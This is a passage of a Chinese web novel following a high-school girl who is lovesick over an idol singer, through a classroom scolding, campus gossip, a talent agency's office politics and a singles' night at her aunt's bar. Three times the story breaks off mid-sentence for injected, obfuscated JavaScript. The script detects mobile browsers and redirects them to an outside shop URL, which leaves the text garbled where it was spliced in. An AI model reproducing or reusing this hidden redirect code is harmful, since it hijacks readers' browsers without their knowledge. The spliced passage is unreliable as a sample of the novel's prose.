马辉气得嘴都歪了:“你连我讲得是哪道题都不知道是吧?” “你上课在听什么?!” “对不起老师。”黄怀予极其迅速地滑跪,道歉得干脆利落。 “……”这下马辉一肚子火也没处发了,决定启用第三方刺激法,“谷奕!你站起来告诉她是哪道题。” 让你不听课,我就让一个成绩完全不如你的一个问题少年教教你!人家比你上课还认真! 谷奕站起来,高大的身影瞬间把后面的黄怀予挡了个严严实实。 “第16题。” 马辉总算心情好了一点,挥手让谷奕坐下来。 “听到了没?” “谷奕都比你上课认真!” “你现在说为什么选C!说不出来就去教室后面罚站!” 下面一片安静,所有人都屏着呼吸,没人知道为什么班主任突然冲着全班第一发火。 第16题正好是一道有点难的题,全班所有人都做错了。有两个选项意思相近,很难排除,似是而非。 …… 黄怀予知道了是16题,她看了一眼卷子,发现自己也做错了。 为什么选C,她也不知道。 于是她看了三四秒,说: ——“因为A、B、D都是错的,所以选C。” “……”马辉气得吐血,“要你说?” 下面的人开始窸窸簌簌地笑,又偷偷看马辉脸色,赶紧又把笑声收起来。 …… “老师,这道题我也错了,所以我不知道为什么选C。” “哼,好。”马辉甩下手里的卷子,“你倒是蛮诚实。既然自己都错了,为什么上课不认真听?” “现在去教室后面罚站!” 下面一片吸气声,没人敢笑了,大家都忌惮于班主任说翻脸就翻脸的脾气,连全班第一都罚站了,小心下一个就是自己…… 黄怀予也没什么别的情绪,拿着卷子和笔,转身就去了教室最后面的黑板前站着。 马辉哼了一声,继续上课。 …… 下课了。 黄怀予回到座位,依然没什么反应,拿出手机呆愣愣地看着。 前面苏琬转过身。 “杯子……你刚刚怎么了?” “没什么。就是不会做。”她没抬头,还是耷拉着脸,盯着手机。 苏琬皱了皱眉,够着脖子去看了一眼她的手机屏幕。 ——结果,苏琬一眼就看到,黄怀予手机屏幕上,是一个练习室里的跳舞视频。 “……” 她一下子就知道这一切的原因了。 ——楚恒和沈一瑾的那个练习室,火得沸沸扬扬,连苏琬这个不怎么上网的人都能偶尔听说,更不要说经常上网的黄怀予了。 谷奕此时也拿着卷子转过来,兴冲冲地问:“杯姐,刚刚那道16题你听懂了吗?我还是没懂,你给我讲讲呗。” “行啊。” 她没什么精神地回应了一声,放下手机。 谷奕一下子就看到,她的手机上,放的不正是他哥们最近热度很高的那个跳舞视频吗? 他乐了,顺嘴一问: “杯姐,你也是CP粉啊?” …… 一句话成功让在场的三个人全部沉默了。 …… 黄怀予脸色更难看了。 “这道题不会做,问别人吧。” “?”谷奕嚷嚷,“你明明刚才还说行的!” 苏琬赶紧说:“我给你讲吧,我听懂了。” “为什么不给我讲啊?” 谷奕还在嚷嚷,黄怀予却直接心烦意乱地拿着杯子出去倒水了。 “……”苏琬看他一眼,“你和楚恒这几天有联系吗?” 谷奕想了一下。 “他本来话就少,基本都是我说,他听。不过最近一段时间他也挺忙的,偶尔会跟我说一下工作上的事。” “那……他跟沈一瑾……” “你也想打听八卦?”谷奕一副为兄弟两肋插刀的样子,“我可从来不向他打听私人生活。虽然他的私人生活也是一片空白。” “他跟我说,最近都在工作。” “不过我倒是觉得,他跟沈一瑾还蛮般配的。”谷奕嘿嘿笑了两声,又想起之前差点认为楚恒和苏琬之间有什么,立刻对楚恒和沈一瑾充满了期待,“如果有个女朋友,我哥们平常应该也能活泼点吧。” 苏琬垂眸,叹了口气。 * 夜晚十点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252975|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晚自习下课铃声响起,谷奕扶着苏琬慢慢走回寝室。 “我真的想不通,这人怎么说发火就发火了。” 谷奕顶着一头乱糟糟的头发,右手拿着苏琬的书包随意搭在宽阔的肩上,宽松的牛仔裤松松垮垮地垂到鞋面。 “被马辉罚站的时候,她都没什么反应。” “我问她那道题听懂了没,她也说听懂了。” “既然这样,为什么就突然不告诉我了?” 谷奕絮絮叨叨地说着,微微皱着眉头,一向张扬恣意的脸上充满了无法洞悉敏感多变的情绪的困惑。 …… “难道,是嗑CP入迷了?” 他猜测道。 “……” 苏琬看他一眼,沉默了几秒钟,还是决定开口解释道: “为情所困,就变得喜怒无常了。” 谷奕好奇: “杯姐这样的性格,还会被什么东西困住吗?” “她看上去自由自在的。” 转头,却看见苏琬没回答,微微垂下了头,像是在回忆着什么。 过了一会,她才缓缓开口。 “她以前的性格不是这样的。” “她初中的时候,在面对某些人的时候很谨慎,很希望融入群体,甚至会为了融入某一个人的社交圈而疯狂贬低自己,讲很多自嘲的笑话。” “她虽然成绩很好,却一直都没什么自信。” “因为,她不管怎么努力,都是第二名,永远活在第一名的阴影和压力之下。” …… “第二名也很好啊。” 从来没考到过第二名的谷奕扬着头,认真评价道:“她对自己要求太高了。” “或许是因为……”苏琬顿了一下,“那个当第一名的人,让她不得不这样要求自己吧。” …… “她的性格真正改变,是在上了高中以后。” “高中的她,才是我从小认识的那个她。” 苏琬看着前方,喃喃自语道: “希望她永远这样自由自在。” …… 两人走在空无一人的夜间校园里,突然身后传来几人杂乱的脚步声,紧接着是几道调笑的男声,像是在两人身后窃窃私语说着什么话。 “你看,前面不就是吗?” “喔!真的啊卧槽,他还真的勾搭上了!” 苏琬回头,看见后面站着三四个男生。 ——她有印象,是二班的几个体育生,也住校。 那几人吊儿郎当地甩着书包,满脸嘻嘻哈哈,一看见苏琬转头看他们,不仅没收敛反而更得意了,眼睛毫不避讳地在两人身上肆意打量。 “……”苏琬皱起了眉头,没说话。 那几人还迅速绕到两人前面,一副动物园里看猴的表情,勾肩搭背地笑着。 “还搂着呢,搂得这么紧!” “你懂什么,人家这是心疼自己情人脚受伤了,恨不得直接抱回去呢。” “哎可说不得人家,人家转学来没几个月直接把杨天奇都搞下来了,全校闻名,这可是出尽了风头啊。” “刚开始来还染个黄头发,装逼得很,恨不得全世界都来看自己。现在居然剪短染黑装起好学生了,还居然考到第五考场去了。” “人家不是勾搭上了他们班第一名吗?现在第二名都被他拿下了,考试随便抄抄不就行了?说不定下次能直接抄到第一考场去。” 几人说话的声音断断续续,像是窃窃私语可是又能被听见一大半。 说着说着就立刻跑远,笑着跑进了前面的寝室楼里。 …… 苏琬停下了脚步。 她感受到右手掌心下身边少年手臂的温度,不自觉仰头去看他。 ——却见他表情平静,像是一个字都没听见。 像是注意到她看过来的目光,谷奕一下子立正站直,澄清立誓般举起右手: “我忍住了!” “你说不让我打架。” “我记着呢。” “忍得很辛苦!” …… 苏琬一下子笑出声来。 “做得特别好。” 她温温柔柔地说。 谷奕听到这话,脸一下子红了,别别扭扭地移开脸。 “这话……怎么跟训狗似的。” 下一秒,他就感到头顶上多了什么东西——一只手轻轻地抬了起来,摸了一下他短翘凌乱的发顶。 ——他顿时呆住,浑身的血液都往脑子里迅速集中,整个人像煮熟了一样,红得彻底。 苏琬踮起脚尖,站在他面前,摸了摸他的发顶,又收回手。 “嗯。” “狗狗很棒。” “摸摸,作为奖励。” 55. 第 55 章 黄怀予心烦意乱地回了家。 她躺在床上,手边是每天晚上睡前必看的语文议论文案例。 可是她却毫无心思去看那些论点论据,脑子里乱糟糟全都是那群讨厌的俊男靓女。 她无数次点开【楚老师】的微信。 终究又还是无数次很怂地关掉了。 …… 苏琬说得对。 她就是纸老虎。 看着喳喳咧咧,其实一戳就破。 …… 苏琬谈过两次恋爱。她冷静,理性,能分析。 她爱的时候轰轰烈烈,离开的时候也决绝断然。 她对待爱情,比自己勇敢坚定得多。 自己在任何事上都不服输,都想要进取,都想要做到最好。谁说她一句“不行”,她能破釜沉舟暴起疯狂学到第一名给所有人看。 ——却唯独在异性关系上习惯了退缩。 黄怀予盯着手机上那个深蓝色夜空头像。 半晌,苦笑一声。 ——呆在舒适圈里,才是真正的舒适。 “那我就彻底放下吧。” …… 还没等她为自己还没开始就已经脑内高潮自我结束的爱恋默哀的时候,手机就瞬间开始狂震,吓得黄怀予刚憋出的一点伤感的眼泪也吓回去了。 “外甥女——” “睡了没——” 李鸣月招牌大嗓门从手机里咋咋呼呼传出来,黄怀予没好气地翻了个身:“做春梦呢。” “和谁的?” “特朗/普。” 对面噎了一下:“你最近压力也太大了。” “知道就好!别大半夜给一个高三生打电话!” 说着黄怀予就想挂,对面像是能看见一样立刻说:“别挂别挂!我有正事!” ——“双十一那天酒吧有活动,来不来?” “单身夜特别活动,只接待单身人士。” …… 黄怀予爬起来,看了看床头的日历,发现那天是周末。 她想了想。 “不去。” 李鸣月急了:“为啥?” “准备周末在家把错题本填完。” “别呀!机会难得!” “错题什么时候不能改,你现在有空和特朗/普春宵一度,都能把文综错题全部改了!” 李鸣月动之以情晓之以理,一直鼓动说现场会有多么多么好玩,劳逸结合嘉奖自己效率更高,但是黄怀予都兴趣缺缺, 李鸣月沉默两秒,给出最后一击: “费用我全包。” “包括苏琬和谷奕的。” 此话一出,李鸣月突然觉得电话对面窸窸簌簌开始有了什么声音。 “你干嘛呢?” “起床,改文综错题。” …… 李鸣月自信一笑,轻松拿捏:“特朗/普呢?” “去你床上了。” 李鸣月一下子跳起来:“操!” * STAR热度上升,梁吟东每天忙得脚不沾地。 事实上,从STAR出道以来,这三年她一直都由于多线周旋而力不从心。 …… 新娱公司八层。 梁吟东脚步飞快地走出电梯,低头在手机上打着字,材质舒适的垂坠感长裤随风柔荡。 旁边助理跟在身后,手上拿着一摞文件夹。 “小宋,上次那台音综结果报告准备好了吗?” “好了,已经送去您办公室了。” “另外下次新歌策划方案什么时候可以好?” “我去追一下,今天下班前应该能有回复。但是初版我看了一下,和上次的差别不大。” “嗯……我再去看看能否再争取一下我们团队自己做,给别人做总是权力不在自己手上。” “好的。” “另外……”梁吟东突然停住脚步,“心理咨询他们上了没有?两天一次的都做了吗?” “老师说都上了,只是……效果依然不是很明显。”小宋顿了一下,还是如实说道,“特别是楚恒,分数还是很低。” “好。我知道了。” 梁吟东走进办公室,坐下来,小宋跟在身后迅速带上了门,之后才把手上的一摞资料摆在了办公桌上。 “梁姐,还有一件事。” “商务部那边的同事说,前天有一个影视剧的资源来找楚恒和沈一瑾。” ——梁吟东颇为意外地看她一眼:“影视剧?” “是。一个古偶,网剧,资料都在这里了。说是觉得两人之间有化学反应,想来找一下男一号和女一号。” “商务部问是不是要接?” 梁吟东翻开文件夹,认真看了一下,沉吟几秒后说: “去协调一下档期,如果不冲突的话就接了。这是个好机会。” …… 公司会议。 梁吟东报告完了这一次STAR季度表现和新歌结果。 总体来说成绩比起之前有了极大的进步,热度和流量都有了很大提升,也为之后公司综艺的播出打下了一个很好的基础。 努力终于有了回报,梁吟东话里透着轻松,脸上也有了笑容。 “所以,我提出以下几点建议和希望;最重要的一点是,我希望之后STAR的风格策划权力可以回到我们自己团队的手上。” …… “嗯。” 贾威坐在下面,没什么表情地听完了梁吟东的所有汇报。 艺人有了热度,资源变多,台下员工表情都轻松起来,只有贾威仍然面无表情。 他看一眼汇报结束已经坐下的梁吟东。 “这段时间以来,梁经纪人辛苦了。” “关于你刚刚说的策划权力。”他手指随意转着笔,语气轻飘飘,“这个,是上面定下来的。” “要改也不是那么容易的事。专业的事,还是交给专业的人去干。” “梁经纪人平常工作任务多,没必要面面俱到去管这些细碎的小事。” “你说呢?” 他笑着,语气却森森,带着无法违逆无法争取的轻描淡写。 …… 梁吟东抿唇。 尽管知道最后一定是这样的结果,心里却仍然忍不住沉下去。 四年前,STAR是董事长给她的机会,说这个团由她全权负责。 彼时她还跟着老师文智,只是文智身边一个不起眼的经纪人助理。 文智是从经纪人一步步做到领导层的,自身能力极强,一直不满贾威仗着裙带关系左右很多决策。 两人表面风平浪静,实际早就势如水火。 ——直到贾威身边的一个亲信员工被曝出多年来一直性骚扰公司声乐老师和其他女性员工,借助职务之便和权力关系压迫受害者,多年来受害者竟然多达十几位,害怕于他在公司的地位和贾威的大背景而只能三缄其口。 ——而第一个站出来曝光这件事的,就是当时才刚入职公司的一位新人声乐老师,李鸣月。 这件事一出,文智立刻帮助了李鸣月极多,帮忙联络新闻圈资源以及保护受害者,以期待借助这件事一举扳倒贾威。 而梁吟东出于怜悯的私心,也暗地里给了李鸣月很多帮助。 ——新闻一出,迫于舆论压力,涉事员工好几人都被开除,贾威派一下子元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252976|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气大伤。 …… 文智以为斗掉了贾威就可以高枕无忧,却没想到,下一步打击她的,竟然是董事长。 两派对立,董事长在中间,这也是他想要的双头治理成果——他不偏向任何一方,他只想看到两边平衡。 于是紧接着就是一轮新的人事变动,文智直接被架空。而贾威职位仍然比文智高,短时间内已经重新集结了队伍。 他在大会上大骂文智,让她赶紧辞职。 ……也是在这时,董事长给了梁吟东一个机会,问她愿不愿意接手新男团STAR的全部事情。 梁吟东在新娱十几年,从艺人助理一步步成为了经纪人,在新娱带出杰出的艺人是自己入行以来就有的梦想。这几年来,梁吟东手下歌手成绩都越来越好,逐渐成为可以与明红比肩的金牌经纪人。 她决心把STAR带出成绩。 …… 而李鸣月却在这时才发现,文智只是单纯地想利用她们扳倒敌人,并不是真的出于同情,最大的证据就是,她自己这一边下面的烂事也不少。 梁吟东还记得,李鸣月辞职前一天,来找自己喝了最后一杯咖啡。 “我依然感谢文总。但是之后所有的事情,我都不会参与了。” “什么权力结构,什么派系斗争,都是人上人的事。” 她笑着一口喝完了面前的美式。 “最后一杯帝都的咖啡了。” “在这个城市待了八年了,终于可以说,我最讨厌美式了。” “帝都的一切,都挺讨厌的。” “我喜欢酒。” 说完,她挥挥手,走了。 ——梁吟东再次听见她的消息,就是她回老家楚门开了一家音乐酒吧,竟然开得风生水起,在圈内都慢慢变得小有名气。 …… 后来,文智终于主动辞职,带着队伍离开新娱另起门户。 她对梁吟东说,你的任何决定都不用受我影响。 ——梁吟东选择留了下来。也由于以前是文智的学生并且帮过李鸣月,她一直与贾威不睦。 ——她知道,在董事长眼里,她是一个新的“文智”。 STAR是她的心血,她的投射,由梁吟东全权打造,核心概念是宇宙和星辰,延续了新娱一贯的核心世界观。 刚出道时势头强劲,成绩很好——却没过多久就遭到了贾威的干预。他不允许梁吟东有可以证明自己的成绩,强制要求转型,梁吟东的很多想法都无法实现,STAR也在转型后光速flop掉,再也没起来。 而现在,三年了,好不容易有了一些成绩,难道还是不能拿回这个权力吗? 梁吟东满腹希望和热情,都在贾威敷衍的态度里迅速被冷水浇灭了。 “另外,STAR有了成绩,这是好事。”他随意说着。 “想必你最近工作也很忙。” “所以……”贾威目光转向一旁的中年男人,“以后STAR的一部分经纪工作,就交给副经纪人胡权。” 梁吟东一震。 随后迅速转头,看向角落里那个男人——约莫三十多岁,只是一个小经纪人,右脸颧骨上有一块红色胎记。 她声音迅速冷下来。 “总经理。” “这件事情,是不是应该先和我商量一下。” 全场寂静,无人敢说话。 贾威像是早就预料到了她的反应,转头笑道: “这是公司怕你工作压力太大,特地进行的安排。” “以后STAR的影视资源相关商务,就交给胡经纪人。” “小梁。”他笑得真诚,“别像一匹孤狼,要学会团队合作啊。” 56. 第 56 章 黄怀予度过了兵荒马乱的一段时间以后,终于决定斩断情丝入无情道。 这段时间以来都为了某个人心神不宁,时不时就想自虐般看看微博又有什么新消息。 马辉每天都来各种暗示自己专心上课,可是自己就像是被下了降头一样只知道胡思乱想,脑子里全是那人身上的小苍兰香味,他高高瘦瘦的身影,和他那双冷淡漆黑的桃花眼。 ——甚至,居然还进了她的梦里。 某个星期一的凌晨六点,她在闹钟响之前的半个小时就猛然鲤鱼打挺从床上惊醒,披头散发像个孤魂野鬼。 她是被吓醒的。 因为她昨天晚上的梦里,既没有长白山和地图册,也没有齐龙飞和第一考场。 ……反而全都是一个高挑瘦削的黑色身影。 他长得沉鱼落雁芝兰玉树,尤其是那双眼睛灿若桃花,笑起来还是上扬的。 牡丹花下死做鬼也风流,黄怀予在梦里跟此帅哥山无棱天地合才敢与君绝,把爱情说尽道遍,床都滚了好几遍。 结果下一秒,视角转换天旋地转,他就搂着一个清纯可爱的美女在昏暗的练习室里跳舞,两个人跳得如同troublemaker,感觉下一秒就要开始大do特do。 “对不起。” “我是明星。” “这是我的工作。” 黄怀予瞪大眼睛,还没等她生出任何愤怒或者悲伤的情绪,周围就突然涌现出一大堆CP粉,尖叫着“好甜啊——”然后冲上前去,把她撞得到处飞。 她在人群里被挤来挤去,脚都走不了路。 结果下一秒,她居然看到那群粉丝里还有谷奕。 谷奕憨厚地笑着,一脸阳光。 “杯姐,你也是CP粉啊?” …… “啊啊啊啊啊啊啊啊啊啊啊啊啊——” 黄怀予终于崩溃了。 一个星期过去了。 ——终于,黄怀予彻底决定放弃了。 放弃计划的第一步,她去学校对面的打印店,花了十块巨款,把楚恒和沈一瑾跳舞的视频截图彩印出来了,然后带回家逼迫自己对着这张照片看了一个小时。 …… 他的老师是自己的小姨,他的兄弟是自己的朋友,自己的所有窘迫都被他撞见,他明明不关心却给自己递过一瓶矿泉水,他明明冷淡却在医院里帮自己借热水袋…… 多浪漫啊。 多有缘分啊。 天作之合,命中注定,像电影一样。 对吧? ——“士之耽兮,犹可说也。女之耽兮,不可说也。” 黄怀予对着眼前这张A4大小的彩印照片,把头埋在被子里大哭了一场。 * 收到李鸣月的提醒微信的时候,黄怀予已经形容枯槁了快半个月。 “外甥女!别忘了这周末双十一来看演出!” “单身夜party!你跟苏琬谷奕到了叫我啊!” 黄怀予猛然抬起头,决定重整河山。 这不就是机会吗? 去痛痛快快玩一场,星期一就满血复活去上课。 ——什么情情爱爱的,她的征途是文科状元! …… 11月11号。 这是黄怀予第一次见到正经情况下的1969。 人民路酒吧街人声鼎沸,老远就能听见鼓点声。 还没走到街拐角的时候门口就已经排起了长队,一个个全是帅哥美女,男的背心肌肉女的短裙长靴,妆容精致发色花花绿绿,隔着五米都能闻到香水味。 “……”黄怀予牵着苏琬的手,沿着路边慢慢走着,一边走一边目瞪口呆地看着这一长串人。 谷奕从后面窜过来:“杯姐,今天比上次表演的时候人还多。” 上次? 黄怀予立刻反应过来,他说的是她和苏琬被杨天奇手下追逃的那天晚上。 那天晚上……楚恒也是表演歌手之一。 ……如果那天楚恒会来,那今天是不是也会来? !! 这个猜想瞬间在她的脑子里爆炸,她一下子停住脚步,身体僵硬起来。 旁边的苏琬立刻感受到她手掌的僵硬,问,“怎么了?” “……” 黄怀予说不出口。 明明已经都决定放下他了! 为什么还会遇见他! 她脸色白了,支支吾吾说不出话,心里极其慌乱,第一反应就是掉头就跑。 ——可是苏琬和谷奕也是抱着期待开开心心来的。自己溜了不仅影响他们,还会被李鸣月耻笑一辈子…… 她停在原地,心跳如擂鼓,脑子里像有两个小人在不停纠缠厮打,可是厮打了半天也没打出什么名堂来。 …… 黄怀予这副样子越来越不对劲,马上连谷奕都注意到了,两个人全都停了下来,关切地看她。 “怎么不走了?” “……”黄怀予憋了半天,憋出来一句: “膝盖疼。” 她指着左边那一排长长的队伍。 “我潮人恐惧症犯了。” “他们潮到我风湿。” …… 走到1969大门,老远就看见门口站着一个又高又壮的男人,穿着黑色紧身西装,戴着黑色墨镜,站在门口犹如性感保镖,正在一个个检查客人手机里的预定记录。 三人走近一看,居然发现,那人居然是熟面孔。 ——“小周?!” 不仅黄怀予没认出来,苏琬和谷奕都没认出来。 小周穿着一身剪裁很好的黑色紧身西装,胸口肌肉快要从红色领带里爆出来,墨镜显得冷酷无比,整个人胸大腰细腿长,不苟言笑,荷尔蒙爆棚。 他旁边队伍里的两个女生看着他,眼里都燃起了火焰,趁着小周检查两人预定记录的时候,已经上去要微信了。 ——只是小周满脸高冷地拒绝了。 “老板规定,单身夜party,工作人员不能和顾客调情。” “……”一旁听着的黄怀予噎了一下,这条规定还真是直接,确实是李鸣月的风格。 她走上前去:“小周哥哥好。” 小周看向她,又看到了后面的苏琬和谷奕,依然一本正经地鞠了个躬:“请三位稍等,马上就放你们进去。” 黄怀予打量了他一下,问:“你今天怎么穿得这么帅?” “……”小周一下子没招架住黄怀予这种有话直说的风格,耳根子慢慢红了,嘴角不好意思地翘起,又立马被他强行压下去,一脸冷漠道: “老板规定,单身夜party,员工必须穿准备好的工作装,并且牢记自己角色的使命和人设。” ? 黄怀予转过身和苏琬谷奕对视一眼。 谷奕凑过来问:“你小姨喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252977|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' cosplay?这一整个大型剧本杀啊。” 黄怀予还没来得及思考她小姨是不是真的有这种癖好,小周就叫住他们。 “三位,请进。” ——“哎!不对啊!他们为什么不用排队?” 旁边已经排到了路口的两个人指着黄怀予他们喊起来。 小周鞠了个躬,道: “1969只接待有预定的客人,座位是在预定的时候就选择好了的,所以先进场后进场没有区别。” “至于这三位……” “是老板的VIP客人。” 那两个人没话说了。 “……” 黄怀予在一众排队的人眼巴巴的注视中走了进去,心里涌上一股奇异的感觉。 虽然不知道李鸣月这股阵仗是给谁看的,但是这种区别对待确实让她狠狠爽了一把。 …… 打开门,门内门外两个世界。 灯光闪耀,音乐舒缓,彩色的射线灯像璀璨霓虹。雾气蒸腾,空气里弥漫着酒香和食物的味道,人们三三两两坐在座位上交流谈笑。 所有人的座位都围绕着最前方中间的舞台。 上面所有乐器齐备,中间一束大灯直直地照着舞台正中央。 下方右边是录音设备,中间坐着一个带帽子的调音师,正低头调着手边琳琅满目的各种按钮。 ——李鸣月就站在调音师旁边。 她穿了一条黑色连衣短裙,头发全部挽了上去,脖颈间戴了一条银色的项链,打扮得一整个艳丽御姐,正低着头对着调音师嘱咐着什么。 黄怀予露出一个十分灿烂的笑容,正准备跑过去叫她,就看见旁边走出来一个服务员姐姐。 这位姐姐穿着和小周一样的成套黑色西装,戴了一顶黑色礼帽,冲她们一笑,一路把三人领到了舞台正下方第一排最中间的位置上,然后优雅地鞠了个躬,转身离开了。 “……”黄怀予极其紧张,坐立难安。 她从来没有来过这种地方,只觉得如坐针毡,和这里格格不入,极其露怯。 瞟了一眼苏琬,发现苏琬面上仍然安静,但是手也不自然地绞在了一起。 “……”她握紧了苏琬的手,安抚性地冲她一笑。 又去看了一眼谷奕,却见他一坐下来就靠着沙发,伸开长腿百无聊赖地晃着,偶尔翻翻桌上的硬壳菜单,长眸耷拉着,兴致缺缺。 “大傻,你以前来过这种地方吗?” 他挑了一下眉。 “来过。” “清吧都这样。” “不过这里装修挺别致。”他扭头望了一眼正中间的大舞台和上面的成套架子鼓,“主要是音乐设备好。来这里的人都是来看表演的。” 苏琬有点好奇:“你上次来看演出的时候觉得好看吗?” 谷奕诚实点头。 “好看。” “特别是我哥们,唱得特好听。” “他唱完,台下人都自发鼓掌了。” …… 黄怀予手有点哆嗦,拿起了桌上服务员刚上的温水灌了两口,想静静心。 正说着谷奕手机突然响了一声,他掏出来一看,露出一个笑。 “说曹操,曹操就到。” “他已经在后台化好妆了。” …… 黄怀予手里的杯子直直地掉到了地上,发出哐啷的声音,泼了自己一裤子水。 57. 第 57 章 “哟,来了?” 李鸣月踩着六厘米的高跟鞋,脚踝上一圈绑带随着她的步伐在昏暗光线下流光溢彩。 可是她人才刚走到卡座,还没说话,坐在最左边的黄怀予却突然一下子直愣愣地站起来,表情比月考发卷时还坚定。 吓了李鸣月一跳。 “……”她看了一眼黄怀予,这才发现她裤子靠近膝盖的地方好像湿了一大块,颜色比周围都要更深。 李鸣月刚想说是不是水泼身上了,话还没问出口,就被黄怀予急切的声音打断。 “水泼了我先去厕所弄一下走了拜拜你们好好看演出。” 她一溜烟跑没影了。 李鸣月愣了:“……” 没过几秒,又去而复返,急匆匆跑回来,脸涨得红红的,弯腰把滚到地上的那个杯子极有责任心地捡了起来,又转身跑没影了。 …… 观众席灯光突然暗下来,一串清脆的吉他声响起来,舞台灯光骤然亮起,乐队成员已经全部就位。 在所有人的目光之下,一个高个子男生走上舞台。 台下的谷奕立刻起了精神,薄唇勾起: “来了。” ——楚恒今天穿了一身深色西装,量身定制的尺寸衬得他宽肩细腰身姿挺拔,金发用发胶全部抓了上去,右额角偶尔垂下来一缕轻柔的卷发。 最抓人的是,他今天脸上戴了一副金色的面具,遮住了上半张脸。只是哪怕就凭着下半张脸上挺峻的鼻和饱满的唇,也能看出来英气逼人、俊俏不凡。 ——台下一片安静,所有人的目光全都集中在台上那男人身上。 …… 他一双眼睛藏在面具里,缓缓抬起眸,一下子就在下方第一排中间看到了两个熟悉的身影。 ——谷奕大剌剌坐着,正拿着手机录视频。 ——苏琬捧着一杯水,冲他笑。 他的视线再往右边探,却发现苏琬右边没有人了。 空荡荡的沙发,留下了很宽敞的空间位置。 桌上有一滩水渍,水渍旁,还有一个空空的玻璃杯。 楚恒神色一凝。 …… “今天单身夜party主题是黑色正装!怪不得所有服务生都这么穿。” “1969怎么每个服务生都这么好看啊……全都是帅哥美女,我馋了……” “哇!有绝世无敌大帅哥!” “你刚刚不是已经说过了吗?” “不是不是!不是服务生,这个更帅!帅得惨绝人寰,像明星!” “哪里哪里!” “就台上唱歌的那个!” “我看我看!” “卧槽!真的帅!” “戴着面具就知道这一定是个帅哥……妈呀,腰好细腿好长!” “声音也好好听!” “我的妈呀,脸好小……下颌线清晰得感觉可以刮伤我!” 一个红裙女生扒在洗手间门口的墙上,冲着舞台直勾勾地盯着看。 “有点想去要微信……你们谁来打醒我!” 旁边一个黑衣女生走出来,叹口气:“我来,醒醒吧,这种绝世帅哥估计暧昧对象就已经绕地球三圈了。” “长得好看的男的,哪有不海王的。” 红裙女生一下子蔫了。 “说的也是……只可远观不可近玩。” 旁边凑过来另一个短裤女生,随意说了一句:“哎!那可不一定。” “你们不觉得他看上去很冷淡吗?” “唱了半天动也不动,就定在那里直挺挺地唱,也没什么表情。” “……”红裙女生更为难了,“那不是更难接近了吗?” …… 低沉清朗的男声飘飘缓缓传来,像流淌的乐符,像情人的低语,丝丝麻麻钻进耳朵里。 ——“暧昧说不尽,眼神看不清。” ——“空空荡荡的街,满满惆怅的心。” 黄怀予失魂落魄地站在洗手池的镜子前。 镜子很宽很大,映出一间1969里的众生百态。 黄怀予盯着眼前的镜子,想保洁阿姨在今晚演出之前一定很努力地擦了吧。 ——不然,她怎么会在这面镜子里,这么清清楚楚地看见舞台上那个她做梦都会见到的身影呢。 一面巨大的半身镜,映出她身后的所有。 一堵墙隔开两个世界,右边雾气蒸腾流光溢彩,楚恒一身墨色,在众人的仰望中勾人地唱着歌。 左边潮湿杂乱,黄怀予隐匿在周围年轻漂亮的女生中,灰色长裤上沾着一片像少女心事一般永远也擦不干的水渍。 遥远且完全不同的两张脸,就这样短暂地映在同一面镜子里。 …… 黄怀予沉默地盯着镜子里的自己,手边水龙头哗啦啦流着水,一股股冲刷着洗手池,也在冲刷着她的心。 太丑了,她心想。 这张脸看了十七年,一直都这么丑。不论是胖的时候,还是瘦的时候。胖的时候,是丑得严重。瘦的时候,是丑得轻微。 黄怀予皱了皱眉,开始胡思乱想。要是她能体验一天好看的人的生活,就好了。 比如苏琬,从小就那么漂亮,从来不缺人追,所有人都喜欢她。 比如冯尽欢,又活泼又张扬,风云人物人脉极广,走到哪里都是审视他人的中心者。 或者比如谷奕,高大英气,那双眼睛长长的,笑起来那么阳光。 ……再或者,如果是楚恒呢? 皮肤苍白都有些透明,眼睛很大,睫毛很长,手指修长,一句话都不说,但是就是让人觉得他很神秘,像小说里的吸血鬼,闪着潋滟的光。 如果她是楚恒,这一天她会怎么过? 让她想想…… 早晨一起床先吃一顿健康餐,然后去健身,顺便回复手机里五位美女网红的邀约。下午去练习室,跟同公司女爱豆一起贴身跳一段性感的舞,再去微博上回复一下几百条喊他老公的骚话评论。最后晚上打扮一下,顶着一身耀眼的皮囊去CLUB收割一群暧昧的眼神和微信好友申请。 …… 啊。好爽啊。 这样的生活里,黄怀予这个人算什么呢? 她顿了一下,似乎有点恍然大悟了。 这不就是卫语吗?她在卫语眼里也是这样的啊。 原来是这样啊,那就简单了。这种情况,她太熟悉了。 对吧?黄怀予?你很熟悉这种不被人当回事的情景吧? 嗯。是的。很熟悉。 在爸爸刘远那里。在冯尽欢的朋友圈里。在卫语的印象里。在八班人的眼里。 ——在她自己心里。 * 苏琬喝了一口服务员姐姐端上来的鸡尾酒。 大红色的,像鲜红的血。 “大都会。” 